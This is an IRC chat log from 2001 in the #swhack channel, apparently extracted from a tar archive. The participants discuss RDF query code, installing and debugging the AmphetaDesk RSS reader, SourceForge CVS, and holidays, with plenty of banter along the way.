you file a support ticket 21:26:55 <Morbus> cvs rm? 21:26:59 <Morbus> oh... heheh. 21:27:08 <Morbus> so, well, can i shell into the host and remove that way? 21:27:42 <AaronSw> No, I don't think you have access to the repository 21:28:15 <AaronSw> you can try it, tho 21:44:13 <Morbus> sigh. ah twell. 21:49:24 <AaronSw> yeah, i had the same problem. 21:49:30 <AaronSw> SF guys fixed it, tho 21:49:47 <AaronSw> took them a couple days 21:52:14 <Morbus> i just submitted a support request on it. no big deal. 21:52:19 <Morbus> its just dirty. i ahte it :) 21:52:24 <Morbus> did i tell you of mynewestproject? 21:53:01 <AaronSw> no, whatisit? 21:55:00 <Morbus> called syncasaurus. an open source version of bookmarksync.com (turning pay in nov 1st) 21:55:58 <AaronSw> Will it export in RSS? ;) 21:56:03 <Morbus> nope, xbel :) 21:56:28 <AaronSw> Dan Connolly was asking for something just like this yesterday or so. 21:56:38 <Morbus> although that could be a possibliity in the far future. i'm on a tight timeline to get it done by nov 1sxt. 21:56:42 <Morbus> oh yeah? 21:56:46 <Morbus> what was he asking for specificlaly? 21:57:00 <Morbus> i've got a design doc uploaded in the cvs on project 'syncasaurus' on sf 21:57:43 <AaronSw> <logger> 0) 2001-10-07 21:36:19 <DanC> I'm thinking of a javascript hack to post bookmarks to a server 21:57:43 <AaronSw> <logger> 1) 2001-10-07 21:35:01 <danbri_> re bookmarks/history: there was a thread on the syndication list w.r.t. doing the same for other platforms, so RSS news clients knew which items had been visited. Morbus might know more. 21:57:43 <AaronSw> <logger> 2) 2001-10-07 21:30:52 <DanC> anybody got a workable multi-browser bookmark approach? 21:57:43 <AaronSw> <logger> 3) 2001-10-07 21:30:35 <DanC> argh... I know I bookmarked this one web site... but in which of the umpteen browsers I use? 21:59:41 <sbp> sbp has joined #swhack 22:00:33 <sbp> [[[ 22:00:33 <sbp> 20:57:26 <AaronSw> You should take the None copout way ;) 22:00:33 <sbp> 20:58:21 <AaronSw> Hmm, you could build what you're doing out of None-queries -- just see what triples satisfy all queries, I think. 22:00:33 <sbp> 20:58:35 <AaronSw> I'm not sure if that'd be faster/simpler. 22:00:34 <sbp> ]]] 22:00:46 <AaronSw> probably simpler, though 22:00:52 <sbp> I was going to do it that way, but I wasn't sure of the object semantics of it 22:00:54 <AaronSw> you want me to explain, i bet 22:01:01 <sbp> No, I know what you mean 22:01:08 <sbp> use None instead of 'empty', yes? 22:01:31 <AaronSw> Well, that's part of it. 22:01:53 <AaronSw> The idea is to do store.query(None, 'http://foo.org', 'dc:title', None) 22:01:59 <AaronSw> and get back all triples that match that pattern. 22:02:13 <sbp> No, that doesn't work... 22:02:21 <AaronSw> which is really easy to do -- just loop thru each triple in the db and spit it out if it matches. 22:02:55 <sbp> because you have to have proper labels for the variables. (?x, blargh, blargh, ?y) is not the same as (?y, blargh, blargh, ?x) 22:03:21 <AaronSw> well, it is for only that one case... but i see what you mean 22:03:53 <sbp> the pattern of None-queries *is* the qay to do it, but you use that as a level above sorting the universal variables, if you see what I mean... 22:04:13 <AaronSw> I would've thought it'd be one level below. 22:04:22 <sbp> that's what quadmatch and dothetriple are for 22:04:31 <sbp> above/below: depends upon how you look at it! 22:04:47 <AaronSw> Yeah, I couldn't figure out what dothetriple was for... and the docstring didn't help ;) 22:06:05 <sbp> :-) 22:06:19 <AaronSw> I guess it'd be the None-style query with a few functors thrown in. 22:06:31 <sbp> I wonder if I should spit out the query results in the same context as the variables matches? 22:06:46 <sbp> None-style: yeah, that works on top of it... (or underneath!) 22:06:46 <AaronSw> * AaronSw wonders what the difference is. 22:06:55 <sbp> well, I can either do:- 22:06:56 <AaronSw> (between query results and variable matches) 22:07:30 <sbp> { ?x = :a } ... . { ?x = :b } ... . :a :blargh :blargh . :b :blargh :blargh . 22:07:32 <sbp> or:- 22:07:47 <sbp> { ?x = :a . :a :blargh :blargh } ... . { ?x = :b . :b :blargh :blargh } ... . 22:07:51 <AaronSw> How do you deal with multiple matches? 22:07:53 <sbp> or somesuch 22:08:14 <AaronSw> Your query thing should have callbacks so other apps can use it. 22:08:24 <sbp> how so? 22:08:40 <AaronSw> store.query(None, 'foo','bar',None, callback) 22:08:47 <sbp> it's iterative, so multiple matches are handled in that way 22:08:49 <AaronSw> def callback(c,s,p,o): 22:08:55 <sbp> what's callback for? 22:09:06 <AaronSw> for other apps to do stuff with the results. 22:09:24 <AaronSw> You send them matching triples 22:09:24 <sbp> ah, neat 22:09:41 <AaronSw> You should look at the redfoot stuff -- it's quite cool 22:09:46 <AaronSw> i'm just spouting their ideas 22:09:57 <AaronSw> (and poorly, at that!) 22:10:43 <sbp> is it "good practice" to call a function from within itself? 22:10:51 <Morbus> recursion? 22:10:54 <sbp> yeah 22:10:59 <AaronSw> Morbus took the word out of my mouth. 22:11:00 <Morbus> that's used a lot in tree based parsers 22:11:05 <AaronSw> And LISP ;) 22:11:08 <Morbus> :) 22:11:12 <AaronSw> Everyone loves recursion! 22:11:24 <Morbus> Everyone loves Everyone loves Recursion! 22:11:26 <sbp> well I use it in SWIPT.query to iterate through the matches 22:11:47 <AaronSw> GNU's Not Unix 's Not Unix 's Not Unix 22:12:00 <Morbus> YAYA! 22:12:01 <Morbus> :) 22:12:05 <Morbus> yet another yet another. 22:12:15 <Morbus> i've always wanted to create a maya clone called that. 22:12:20 <AaronSw> lol 22:12:24 <Morbus> of course, i know negative infinity about graphics :) 22:12:42 <AaronSw> you could call it yaya-yama 22:12:47 <Morbus> hehehe 22:12:47 <sbp> -oo 22:12:58 <Morbus> shaka yaya. 22:13:02 <sbp> yumi-yumi-yama 22:13:14 <Morbus> well, you could kinda do that with ampheta. 22:13:23 <AaronSw> yara? 22:13:29 <AaronSw> yarc 22:13:31 <Morbus> sorry, wrong window ;) 22:13:37 <sbp> He he he 22:13:48 <sbp> that's your universal answer, isn't it? 22:13:50 <AaronSw> that lines works anywhere! 22:13:54 <AaronSw> s/line/lines/ 22:14:14 <sbp> so, I'm writing a new program to sort out my sock drawer for me 22:14:15 <AaronSw> "So, you want to go out for a drink?" "well, you could kinda do that with ampheta" 22:14:17 <sbp> Morbus: well, you could kinda do that with ampheta. 22:14:26 <AaronSw> Heh! 22:14:31 <Morbus> jejejej/ 22:14:31 <sbp> mine was better 22:14:34 <Morbus> shutup. 22:14:37 <Morbus> :) 22:14:37 <sbp> :-) 22:14:39 <AaronSw> sbp, are your socks cataloged in RSS? 22:14:46 <sbp> RSS my butt! 22:14:57 <Morbus> i've still been meaning to add an xkitchensink parser to ampheta. never got around to it 22:14:57 <AaronSw> It too! Wow! 22:15:06 <AaronSw> Oh, that's too bad. 22:15:15 <sbp> until you guys learn the difference between a Class and a Property, I'm not touching RSS with a barge pole 22:15:16 <AaronSw> You could raise our implementation count up to -5 22:15:22 <Morbus> yeah. it'd be like an easter egg - add a string to any url and presto! 22:15:26 <sbp> lol 22:15:53 <sbp> sbp has quit 22:16:06 <sbp> sbp has joined #swhack 22:16:07 <Morbus> there's a rather stupid easter egg in there now. 22:16:09 <AaronSw> * sbp heads off to catalog other body parts in RSS 22:16:18 <AaronSw> ooh, ooh, what does it do? 22:16:22 <sbp> oops, wrong button... 22:16:22 <Morbus> after subscribing to more than 100 channels, check your log and you'll see amphetadesk do a drunken jig 22:16:24 <sbp> lol 22:16:25 <Morbus> it's really stupid ;) 22:16:57 <sbp> lol, it can go drinking!!! 22:17:02 <Morbus> heh\ 22:17:08 <Morbus> i'm tellin ya, amphetadesk can do that 22:17:19 <AaronSw> it can do the jig? 22:17:19 <sbp> heh:- 22:17:20 <sbp> [[[ 22:17:21 <sbp> A union is a good solution. Excellent. 22:17:25 <sbp> ]]] - Len Bullard 22:17:32 <AaronSw> I don't get it. 22:17:42 <sbp> it's about as good a solution as using XML for XML Schema 22:18:05 <sbp> someone suggested that some datatype should be able to use one base type or another 22:18:12 <sbp> someone else suggested to use a union 22:18:19 <sbp> Len replied "good solution" 22:18:37 <sbp> considering that "OR" and "UNION" are one and the same, it doesn't make it much of a solution! 22:18:48 <AaronSw> Heh. 22:18:56 <AaronSw> * AaronSw greps AmphetaDesk for "drunken jig" 22:19:19 <AaronSw> tsk, tsk, naught at http://amphetadesk.sourceforge.net/ 22:19:45 <Morbus> aarow, it only happens if you subscribe to more than 100 feeds. 22:19:54 <AaronSw> Hmm, do I want mac/win or src version for OS X? 22:20:08 <sbp> "EARL Python API - encourage semweb folks to get involved (SBP)" - http://www.w3.org/WAI/ER/2001/10/f2f-notes 22:20:13 <sbp> I'm doing it, I'm doing it! 22:20:23 <AaronSw> * AaronSw looks around, sees no signs of encouragement 22:20:28 <Morbus> well, src, requires you install expat. 22:20:31 <AaronSw> only socks. 22:20:36 <Morbus> mac is a runtime so it runs under classic 22:20:41 <Morbus> but requires you have a classic browser. 22:20:49 <AaronSw> * AaronSw does locate expat ;) 22:21:04 <Morbus> yeah, readme's are coming in this version. i'm actually working on that and a build doc right now :) 22:21:09 <AaronSw> /usr/local/include/expat.h 22:21:09 <AaronSw> /usr/local/lib/libexpat.a 22:21:09 <AaronSw> /usr/local/lib/libexpat.la 22:21:12 <Morbus> i had to install expat... ooOh. 22:21:17 <Morbus> did you install it? 22:21:22 <Morbus> i had to install mind under 10.0 22:21:23 <AaronSw> Not that i can recall 22:21:28 <Morbus> cool. 22:21:34 <Morbus> ultimately, you just need some CPAN modules then. 22:21:50 <Morbus> from what other people have told me, a def. redhat 6 machine needs: (flood) 22:21:55 <Morbus> > libnet-1.0703 22:21:55 <Morbus> > libwww-perl-5.53_94 22:21:55 <Morbus> > HTML-Parser-3.25 22:21:55 <Morbus> > HTML-Tagset-3.03 22:21:55 <Morbus> > MIME-Base64-2.12 22:21:55 <Morbus> > URI-1.12 22:21:57 <Morbus> > XML-Parser.2.30 22:21:59 <Morbus> > XML-Simple-1.05 22:22:04 <AaronSw> Yeah, I have all those. 22:22:07 <Morbus> version numbers aren't improtant. 22:22:13 <Morbus> then it should be an unzip and ./amphetadesk.pl 22:22:17 <AaronSw> i have them because I'm oh-so-cool. 22:22:21 <Morbus> oh yes 22:22:23 <AaronSw> :-) 22:22:26 <Morbus> i can validate that ;) 22:22:42 <AaronSw> * AaronSw calls techsupport 22:22:52 <AaronSw> I typed ./AmphetaDesk.pl and it didn't do anything!!! 22:22:57 <AaronSw> it's borken!!! fix it!!! 22:23:01 <AaronSw> :-) 22:23:13 <Morbus> heheh. oh god. 22:23:20 <AaronSw> Whooo, look at those ^M 22:23:26 <Morbus> hmm? 22:23:30 <AaronSw> it looks like it got hit by a tornado 22:23:30 <Morbus> oh, line feeds? 22:23:37 <AaronSw> yeah, in your source code 22:23:41 <Morbus> dammit. 22:23:45 <AaronSw> 2000-2001 Disobey #^M# http://www.disob 22:23:45 <AaronSw> ey.com/amphetadesk/ #^M######################################################### 22:23:53 <Morbus> yeah, 22:23:59 <sbp> Aaron, can you give me a multiple matches use case, please? 22:24:03 <Morbus> you may have to pepper them to unix feeds. 22:24:17 <Morbus> that's odd though. i thought i converted before taring 22:25:00 <AaronSw> sbp: :John :sibling :Sally , :Sue, :Bob . 22:25:01 <AaronSw> :John :sibling ?x ? 22:25:07 <AaronSw> Oooh, it's pretty in pepper. 22:25:21 <AaronSw> $|++; # It's just fun to say. # 22:25:23 <AaronSw> Heh 22:25:29 <Morbus> heehhe 22:25:33 <Morbus> stop looking at my code! <g> 22:25:36 <sbp> * sbp runs that through SWIPT.query 22:25:57 <AaronSw> Morbus-code is funny! 22:26:00 <Morbus> lol 22:26:07 <Morbus> i have to entertain myself, you know? 22:26:35 <Morbus> whistle, whistle 22:26:35 <AaronSw> So why doesn't it say anything when I run it? 22:26:40 <Morbus> cos of the line feeds. 22:26:48 <Morbus> if they're not unix, then it'll choke 22:26:58 <AaronSw> Oh? Stupid Perl. 22:27:11 <deltab> yeah, you have a long single-line comment 22:27:31 <Morbus> do.. this,. i think: 22:27:45 <AaronSw> i fixed it 22:27:47 <sbp> woo! it worked 22:27:49 <AaronSw> now to: cpan> install XML::Simple 22:27:49 <Morbus> perl -i.old -e `s/\r/\n/g' [files] 22:27:52 <sbp> { 22:27:52 <sbp> _:x = <#Sally> . 22:27:52 <sbp> } a rdfs:Resource . 22:27:52 <sbp> { 22:27:52 <sbp> _:x = <#Sue> . 22:27:52 <sbp> } a rdfs:Resource . 22:27:54 <sbp> { 22:27:56 <sbp> _:x = <#Bob> . 22:27:58 <sbp> } a rdfs:Resource . 22:28:00 <sbp> <#John> <#sibling> <#Sally> . 22:28:02 <sbp> <#John> <#sibling> <#Sue> . 22:28:04 <sbp> <#John> <#sibling> <#Bob> . 22:28:12 <AaronSw> They can all be siblings together! :-) 22:28:21 <deltab> Morbus: -p too 22:28:36 <sbp> * sbp fixes the output to make a bit more sense 22:28:40 <Morbus> yeah, that's right. i have to 'pe'. 22:28:54 <Morbus> and if i want backups, i 'pie' ;) 22:29:18 <sbp> [[[ 22:29:18 <sbp> { 22:29:18 <sbp> ?x = <#Sally> . 22:29:18 <sbp> } a rdfs:Resource . 22:29:19 <sbp> ]]] 22:29:44 <sbp> Hmm... ":Result" might be better 22:30:00 <AaronSw> Sally is a Resouce, do da do da hey! Sally is a Resouce, a Resource for today! 22:30:08 <AaronSw> Yay! 22:30:25 <sbp> * sbp smacks Aaron 22:30:36 <AaronSw> It's all your fault! 22:30:40 <sbp> :-) 22:30:48 <sbp> I shouldn't have started you on lyrics! 22:30:59 <AaronSw> Exactly. 22:31:41 <AaronSw> Hmm, XML::Simple fails its test: 22:31:41 <AaronSw> t/4_MemShare........Use of uninitialized value in string ne at t/4_MemShare.t line 33. 22:31:49 <Morbus> ? 22:31:52 <Morbus> that's a new one. 22:31:57 <Morbus> ignore it for now. 22:32:04 <Morbus> i dont' remember getting that on my machine 22:32:08 <Morbus> but i installed before 10.1 22:32:21 <AaronSw> excuses excuses 22:32:31 <AaronSw> xena, excuse 22:32:31 <Morbus> hey, its not my module, bitchazz ;) 22:32:33 <AaronSw> <xena> AaronSw, jupiter is aligned with mars. 22:32:51 <Morbus> xena, lesbian? 22:33:06 <AaronSw> Command not understood. 22:33:44 <sbp> xena, AaronSw 22:33:51 <AaronSw> Command not understood. 22:33:54 <sbp> aw... 22:34:07 <Morbus> xena, understand command 'aaronsw' 22:34:14 <AaronSw> Command understood. 22:34:35 <AaronSw> Morbus, wtf is this? Cannot install Mac::InternetConfig, don't know what it is. 22:35:06 <Morbus> when you'd get that? 22:35:45 <Morbus> that's a classic only module 22:35:46 <AaronSw> when i tried to install it from cpan -- you forgot to comment out the mac-only stuff 22:36:06 <Morbus> no, the mac only stuff only comes into play under Classic. 22:36:20 <AaronSw> well comment it out then! 22:36:34 <Morbus> it doesn't matter... wait. 22:36:46 <Morbus> on the first few lines of amphetadesk.pl, the use Mac::InternetConfig is uncommented? 22:36:59 <AaronSw> Yes. Would you like me to write it on a card and mail it to you? 22:37:07 <Morbus> other than that, the os libraries are determined at run time. 22:37:08 <Morbus> sigh. 22:37:17 <Morbus> yeah, comment those three lines (if they're not already) 22:37:29 <sbp> * sbp wonders if qqcopy = self.queryquad[:] is necessary 22:37:30 <AaronSw> tada! it works! 22:37:35 <Morbus> i'm surprised i missed that. 22:37:38 <Morbus> damn 22:37:41 <Morbus> sorry abotu that 22:38:02 <AaronSw> no problem -- i just like making fun of you. 22:38:03 <AaronSw> it 22:38:09 <AaronSw> it's surprisingly polished 22:38:10 <Morbus> yeah, i know. 22:38:15 <Morbus> oh sure, now try to suck up <g> 22:38:26 <Morbus> Morbus has left #swhack 22:38:32 <AaronSw> ouch 22:38:36 <Morbus> Morbus has joined #swhack 22:38:36 <AaronSw> Aha: 22:38:38 <sbp> Hmm... it doesn't seem to be 22:38:40 <AaronSw> ¬e("There was a total of $count subscribed channels."); 22:38:40 <AaronSw> ¬e("We dance a drunken jig of epic proportions! <shake> <jiggle> <keRAASH!>...") if $count > 100; 22:38:46 <deltab> sbp: if you want a copy to modify without affecting the original, yes 22:38:50 <Morbus> hehehe... dammit. 22:38:53 <Morbus> stop that :) 22:39:27 <sbp> deltab: yeah, I already figured that out because it was the previous bug! the new thing I'm wondering is if changing the self.queryquad is O.K. 22:39:40 <sbp> in this particular program... 22:40:18 <sbp> it seems to work just fine without it, but I'm not sure 22:40:58 <sbp> ah, no, that is fine 22:41:01 <sbp> * sbp whips the lines out 22:41:35 <sbp> I reset the variable soon after anyway! So it doesn't matter 22:42:26 <sbp> Well, I'm quite impressed with this. Now, I just need to turn it into bloatware, adding a thousand functions that don't work 22:42:44 <AaronSw> Morbus, you nead a "check all" button on the add a channel page ;) 22:43:00 <Morbus> ack! 22:43:09 <Morbus> some other bastard asked for that. 22:43:17 <Morbus> modify the template yourself if you want it binky ;) 22:43:30 <sbp> heh:- 22:43:31 <Morbus> templates/add_a_channel.html 22:43:31 <sbp> [[[ 22:43:32 <sbp> It looks best with 6.0 and higher browsers, looks OK on 5.x browsers, but is 22:43:32 <sbp> still readable on 3.x and 4.x browsers (though none of the fancy layout is 22:43:32 <sbp> visible on these crappy contraptions). 22:43:33 <sbp> ]]] 22:43:51 <sbp> - Peter K. Sheerin, on w-v 22:44:52 <sbp> I've got to put constraints into it now to impress Libby... 22:45:10 <AaronSw> contrainsts? 22:45:54 <sbp> yeah, <, > and so on 22:46:08 <sbp> and I should support loading multiple documents (actually, I already do) 22:46:13 <lilo> [GlobalNotice] Hi all. Services will be coming back momentarily, with some splits. Thanks for your patience. 22:46:20 <AaronSw> Morbus, what good is this template? all the good stuff is produced by the code 22:46:27 <sbp> ooh, loading off of the Web into SWIPT would be cool too 22:46:38 <deltab> deltab has quit 22:46:38 <Morbus> Morbus has quit 22:46:38 <sbp> sbp has quit 22:46:38 <jrn> jrn has quit 22:46:38 <AaronSw> AaronSw has quit 22:47:01 <deltab> deltab has joined #swhack 22:47:01 <AaronSw> AaronSw has joined #swhack 22:47:01 <jrn> jrn has joined #swhack 22:47:01 <sbp> sbp has joined #swhack 22:47:01 <Morbus> Morbus has joined #swhack 22:47:05 <Morbus> sorry, channel_list_item.html 22:47:11 <sbp> <Morbus> hmm? the checkbox stuff is controlled by channel_item.html 22:47:18 <Morbus> sorry, channel_list_item.html 22:47:41 <AaronSw> AaronSw has changed the topic to: Sally is a Resouce, do da do da hey! Sally is a Resouce, a Resource for today! Hey! 22:47:48 <Morbus> after 1.0 the template system will get an overhaul to make it more fanciful, but this one works pretty well so far. 22:47:52 <AaronSw> AaronSw has changed the topic to: Sally is a Resouce, do da do da hey! Sally is a Resouce, a Resource for today! Hey! 22:48:00 <Morbus> you can find more information about changing the templates in docs/skinning.htm 22:48:45 <AaronSw> lo? 22:48:49 <Morbus> hey 22:48:53 <sbp> wow, I think that NTriples with universally quantified variables is as good as Guha's RDFDB [http://web1.guha.com/rdfdb/query.html], and queries just as well on SWIPT.query 22:48:55 <Morbus> did you get any of my messages? 22:48:59 <jrn> jrn has quit 22:49:02 <AaronSw> lo? 22:49:08 <sbp> lo? 22:49:13 <Morbus> hi? 22:49:17 <sbp> sweet-'n'? 22:49:20 <Morbus> sugah? 22:49:27 <Morbus> cat-n-? 22:50:43 <AaronSw> whoa, that was weird 22:50:50 <Morbus> hmm? 22:50:52 <sbp> did anyone know that the common colloquial form of "bugger!" in some English dialects is "boogah!"? 22:51:20 <deltab> yes 22:51:33 <AaronSw> lol 22:52:03 <AaronSw> All the IRC messages qued up and delivered at once a minute ago 22:52:23 <AaronSw> Why did Ampheta change ports on me? 22:52:40 <Morbus> for some odd reason, the other port didn't shut down correctly. 22:52:48 <Morbus> it tries one of three ports before giving up., 22:52:53 <AaronSw> Am I not supposed to hit Ctrl-C? 22:52:55 <Morbus> those are defined in /data/mySettings.xml 22:53:04 <Morbus> well, you can, but it doesn't work nicely on linux yet ;) 22:53:08 <Morbus> interuppts are on the todo. i've been lazy 22:54:18 <AaronSw> Frank Manola: """Anyone who can say (on the SUO list) "A little brisk canter through the foothills of Birkhoff and McLain might be good mental exercise" has GOT to be a reasonable man! [Particularly since most of the SUO group seem to be taking a brisk canter through Roberts' Rules of Order!]""" 22:54:36 <AaronSw> LOL, and then Pat Hayes sings an Irish folk song! 22:54:41 <AaronSw> "The Golden Triple (trad.)" 22:55:04 <AaronSw> LOL! This is hilarious! 22:56:22 <AaronSw> lo? 22:56:32 <Morbus> what? 22:56:38 <Morbus> goddamit, must you crave attention so much! 22:56:44 <Morbus> yes, aaron, that's a great link! 22:56:45 <AaronSw> Heh! 22:56:47 <sbp> pointer? URI? 22:56:49 <Morbus> we love you aaron, here are some flowers! 22:56:50 <Morbus> <g> 22:56:56 <AaronSw> LOL 22:57:04 <AaronSw> Just wondered if my connection had died again. 22:57:08 <sbp> ah, I've found it 22:57:19 <AaronSw> We must sing that on Friday's telecon. 22:57:29 <sbp> lol:- 22:57:31 <sbp> [[[ 22:57:31 <sbp> First its subject, then its object 22:57:31 <sbp> Over a fire of amber coals: 22:57:31 <sbp> in all my life I ne'er did see 22:57:31 <sbp> such a graph so neat about the nodes. 22:57:32 <sbp> ]]] 22:58:08 <AaronSw> * AaronSw thinks AmphetaDesk should be renamed Morbo-Desko 22:58:15 <sbp> that's absolutely brilliant! 22:58:16 <Morbus> hehe. i'd get sued. 22:58:27 <Morbus> morbo is the name of the alien reporter in futurerama 22:58:38 <AaronSw> oh, right 22:58:42 <sbp> What's the blone woman's name? 22:58:43 <Morbus> i think peerkat should be renamed to piddlekat 22:58:43 <AaronSw> Morby-Desky? 22:58:48 <AaronSw> piddlekat? 22:58:56 <sbp> heh, piddlekat 22:58:57 <Morbus> yeah, and the icon could be a drunken cat piddling everywhere. 22:59:02 <Morbus> would give you much more character :) 22:59:05 <AaronSw> Heh! 22:59:13 <AaronSw> I will suggest this to our dev team. 22:59:19 <Morbus> hehehe. good! :) 22:59:25 <Morbus> keep me informed of your status :) 23:00:06 <AaronSw> * AaronSw sends 23:00:17 <Morbus> ooh, is there a ml archive i can see it? 23:00:26 <AaronSw> No, I'm not that stupid. 23:00:31 <Morbus> heheh 23:00:39 <AaronSw> Hmm.... 23:00:39 <AaronSw> Downloading 4arrownewesteservice.xml - local copy doesn't exist. 23:00:41 <AaronSw> The socket read operation timed out after 10 seconds. 23:00:41 <AaronSw> Downloading 4arrownewestarticles.xml - local copy doesn't exist. 23:00:41 <AaronSw> The socket read operation timed out after 10 seconds. 23:00:41 <AaronSw> Downloading 0ri0nteamvenezuela.xml - local copy doesn't exist. 23:00:42 <AaronSw> Downloading 403bannuitiesbenefit.xml - local copy doesn't exist. 23:00:44 <AaronSw> Broken pipe 23:01:07 <Morbus> anything in /data/internal/AmphetaDesk.log? 23:01:51 <AaronSw> [18:00:25] Writing a new myChannels.opml. 23:01:51 <AaronSw> Use of uninitialized value at lib/Channels.pl line 1233 23:01:51 <AaronSw> [18:00:25] Loading services-channels-recent.xml from /Users/aaronsw/tmp/amphetad 23:01:51 <AaronSw> esk-src-v0.92/data/lists/services-channels-recent.xml. 23:01:52 <AaronSw> [18:00:25] There was a total of 1646 subscribable channels. 23:02:06 <Morbus> oh, there's your problem. 23:02:24 <Morbus> you've installed AmphetaDesk in a /tmp/ directory. it doesn't like that. it wantss a permament place on your hd. :) 23:02:31 <AaronSw> pfft 23:02:40 <Morbus> kidding. sheesh 23:02:49 <AaronSw> Yeah, i noticed. 23:03:14 <AaronSw> Hmm, next Jewish Holiday starts in 15 minutes. 23:03:26 <Morbus> you got that broken pipe when you were downloading channels though, right? 23:03:33 <Morbus> i've never seen that error before in ampheta 23:03:36 <AaronSw> I assume so. 23:03:53 <Morbus> hmm. can you duplicate it? 23:04:01 <AaronSw> lemme try 23:07:17 <AaronSw> Morbus, you submit all your feeds to syndic8? 23:07:22 <sbp> another holiday??? 23:07:31 <sbp> Which one now? 23:07:46 <AaronSw> Shemini Atzeret and Simchas Torah -- this is the last of the holiday season. 23:07:47 <Morbus> nope. i'm waiting til 1200 of those to-be-reviewed feeds are widdled down, then grabbing the ocs and doing a diff. 23:08:02 <AaronSw> We won't have a nother holiday for a good while, now. 23:08:09 <deltab> "you mean "whittled"? 23:08:23 <Morbus> correct. 23:08:26 <AaronSw> Why wait? Give those reviewers something to do! ;-) 23:08:43 <Morbus> quite frankly, i don't have time. 23:08:49 <AaronSw> Heh. 23:08:53 <sbp> [[[ 23:08:54 <sbp> In Israel Shemini Atzeret ("The Eighth Day") & Simchas Torah ("Rejoicing over the Torah") are celebrated as one day in accordance with the Torah directive (Leviticus 23:26). 23:08:59 <sbp> ]]] - http://www.jewishpath.org/rroctober2000.html 23:09:01 <Morbus> i tried to review some today, but i can't find the magic "this feed is ok" button 23:09:06 <AaronSw> Do I look like I'm in Israel? 23:09:20 <sbp> You celebrate them as two days? 23:09:26 <sbp> Seems more sensible that way :-) 23:09:30 <AaronSw> Morbus, it's not supposed to be on the site until tonight. 23:09:37 <sbp> Homer: President's Day my butt! 23:09:40 <AaronSw> Yes, it's two days -- all the holidays here are one day longer than in Israel. 23:09:44 <Morbus> oh. 23:09:49 <Morbus> oh yeah, shit, movabletype is out today too 23:09:53 <Morbus> i gotta go check that out 23:10:00 <AaronSw> movabletype? 23:10:03 <Morbus> .org 23:10:12 <Morbus> its a greymatter/blogger/cms sort of thing 23:10:17 <AaronSw> Response from the dev team on your suggestion: Lovely. 23:10:21 <Morbus> hehehe 23:10:22 <sbp> Homer: There's some neat stuff on the front 23:10:23 <Morbus> so, it's in? <g> 23:10:39 <AaronSw> No, you're banned from ever using Peerkat. 23:10:42 <AaronSw> ;) 23:10:47 <Morbus> LOL... 23:11:47 <sbp> you mean piddlekat, right? 23:11:59 <AaronSw> I typed that but quickly backspaced ;) 23:12:40 <sbp> ^h^h^h^h^h^h... 23:12:57 <AaronSw> It's a capital H, BTW 23:13:10 <sbp> Piddle^H^H^H^H^H^HPeerkat 23:14:04 <AaronSw> Heh. Pat Hayes: "Graham, on another topic altogether, I think Ive managed to shut up that noisy fellow Ray on rdf-comment." 23:14:19 <Morbus> aaron, did you look over the syncasaurus design dc at all? 23:14:39 <AaronSw> I saw that it was written in HTML... :) 23:14:41 <AaronSw> Poor Ray, none of those ivory tower W3Cers like him. 23:15:06 <sbp> Ray? 23:15:18 <AaronSw> Arjun Ray 23:15:21 <sbp> Ah! 23:15:53 <Morbus> goddamit. i hate when code isn't commented 23:16:14 <Morbus> movabletype.org looks good, but the code is header info stuff only 23:16:20 <AaronSw> Morbus, after a quick skim looks OK 23:16:30 <AaronSw> Just need to s/FTP/HTTP/ ;) 23:16:40 <AaronSw> and s/XBEL/RSS/ 23:16:40 <Morbus> heheh... 23:17:04 <Morbus> well,its been set to allow that expansion. 23:17:13 <Morbus> Transport/HTTP.pm and Bookmarks/RSS.pm 23:17:16 <Morbus> so maybe someday in the future ;) 23:17:27 <AaronSw> Yep. 23:17:39 <Morbus> i hate these filipping .DS_Store thigns 23:17:46 <AaronSw> If it was in Python, it'd be sooner rather than later. ;-) 23:18:01 <Morbus> hey, if you build it into a runtime on mac/win by nov 1st, i'll use it :) 23:18:13 <AaronSw> It'd probably be much easier. 23:18:20 <Morbus> so get to work. 23:18:24 <Morbus> there's the design doc. 23:18:25 <AaronSw> I hit the broken pipe again. 23:18:25 <Morbus> :) 23:18:30 <Morbus> same place? 23:18:35 <Morbus> was it on the same feed? 23:18:37 <AaronSw> Nah, different one. 23:18:44 <AaronSw> Nah, different one. 23:18:50 <AaronSw> OK, have to sign off... holiday is starting. 23:18:58 <Morbus> ciao 23:19:12 <sbp> c'ya 23:19:14 <AaronSw> Downloading bblogbusinessintelli.xml - local copy doesn't exist. 23:19:14 <AaronSw> The socket read operation timed out after 10 seconds. 23:19:14 <AaronSw> Downloading britlinksnews.xml - local copy doesn't exist. 23:19:14 <AaronSw> Downloading bbcnewsbusiness.xml - local copy doesn't exist. 23:19:14 <AaronSw> Broken pipe 23:19:16 <AaronSw> c'ya all 23:19:21 <sbp> have a nice holiday 23:19:35 <AaronSw> thanks, you guys have fun 23:19:40 <deltab> when you come back, fix your mail client's password 23:19:46 <AaronSw> what do you mean? 23:19:46 <deltab> bye 23:19:54 <AaronSw> what's wrong with the password? 23:20:00 <deltab> it keeps trying to log in with the wrong pass 23:20:11 <AaronSw> really? seems to get mail just fine. 23:20:23 <Morbus> maybe you have two accts set up ;) 23:22:42 <AaronSw> ok, see you all 23:22:47 <AaronSw> bye 23:23:50 <sbp> sbp has quit 23:28:34 <Morbus> deltab, you feel like looking at a design doc for me? 23:29:58 <deltab> yes 23:30:08 <deltab> maybe not right now though 23:30:50 <Morbus> lemme know whenever. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-09.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000004703�07360707310�012007� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:43:30 <logster> logster has joined #swhack 00:43:30 <carter.openprojects.net> topic is: Sally is a Resouce, do da do da hey! Sally is a Resouce, a Resource for today! Hey! 00:43:30 <carter.openprojects.net> Users on #swhack: logster deltab Morbus 00:44:03 <AaronSw> AaronSw has joined #swhack 01:22:24 <Morbus> Morbus has quit 01:50:44 <Morbus> Morbus has joined #swhack 01:58:07 <GabeW> GabeW has joined #swhack 02:00:28 <Morbus> Morbus has quit 02:32:33 <Morbus> Morbus has joined #swhack 02:32:39 <Morbus> Morbus has quit 02:55:52 <Morbus> Morbus has joined #swhack 03:17:35 <GabeW> GabeW has quit 03:25:53 <Morbus> Morbus has quit 04:37:12 <GabeW> GabeW has joined #swhack 06:35:05 <GabeW> GabeW has quit 08:38:56 <deltab> deltab has quit 08:39:18 <deltab> deltab has joined #swhack 12:43:55 <Morbus> Morbus has 